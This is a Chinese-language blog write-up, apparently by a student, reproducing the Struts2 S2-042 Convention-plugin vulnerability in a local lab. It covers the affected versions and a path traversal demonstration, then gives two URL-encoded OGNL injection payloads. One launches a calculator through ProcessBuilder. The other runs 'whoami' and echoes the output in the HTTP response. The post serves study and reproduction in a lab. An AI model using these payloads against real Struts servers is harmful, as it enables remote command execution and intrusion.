Struts-S2-042漏洞利用(含环境搭建、含POC)

Struts-s2-042

此文仅供大家交流学习,严禁非法使用

一、参考网址:

http://www.freebuf.com/vuls/120451.html

https://perseus.codes/s2-042%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-convention%E6%8F%92%E4%BB%B6%E6%BC%8F%E6%B4%9Ecve-2016-6795%E5%A4%8D%E7%8E%B0%E5%8F%8A%E7%9B%B8%E5%85%B3%E7%A0%94%E7%A9%B6/

二、 影响版本:

Struts 2.3.20 - Struts 2.3.31

三、 漏洞介绍:

Convention是惯例的意思。在进行struts2开发时,需要在配置文件(struts.xml)中写一个个action,和对应返回结果的result(可以理解为前端返回的jsp文件)。
但是,写的action多了,配置起来就显得特别繁琐了。struts2 Convention插件可以完全抛弃配置,也就是约定优于配置
通过这个插件来实现目录的遍历

四、 环境搭建:

使用参考网址博主已经搭好的环境
链接:
http://pan.baidu.com/s/1bULv2m 密码:xkta

访问http://127.0.0.1:8080/struts2/content/go?go=admin

1.png

出现访问页面,访问上一级的hack.jsp
访问: http://127.0.0.1:8080/struts2/content/go?go=../hack
2.png

通过这样实现遍历,但不能实现任意文件读取,因为有文件类型限制

五、 POC:

%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

六、 测试网址:

修改后网址为

http://127.0.0.1:8080/struts2/content/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

七、执行结果

成功弹出本地计算器

八、回显测试

想要命令回显的话,修改一下POC

%24%7B%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%2C%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%7D%2f..%2fadmin

执行结果,弹出下载,打开。


Struts-S2-042漏洞利用(含环境搭建、含POC)_第1张图片
3.png

九、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到[email protected]不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

你可能感兴趣的:(Struts-S2-042漏洞利用(含环境搭建、含POC))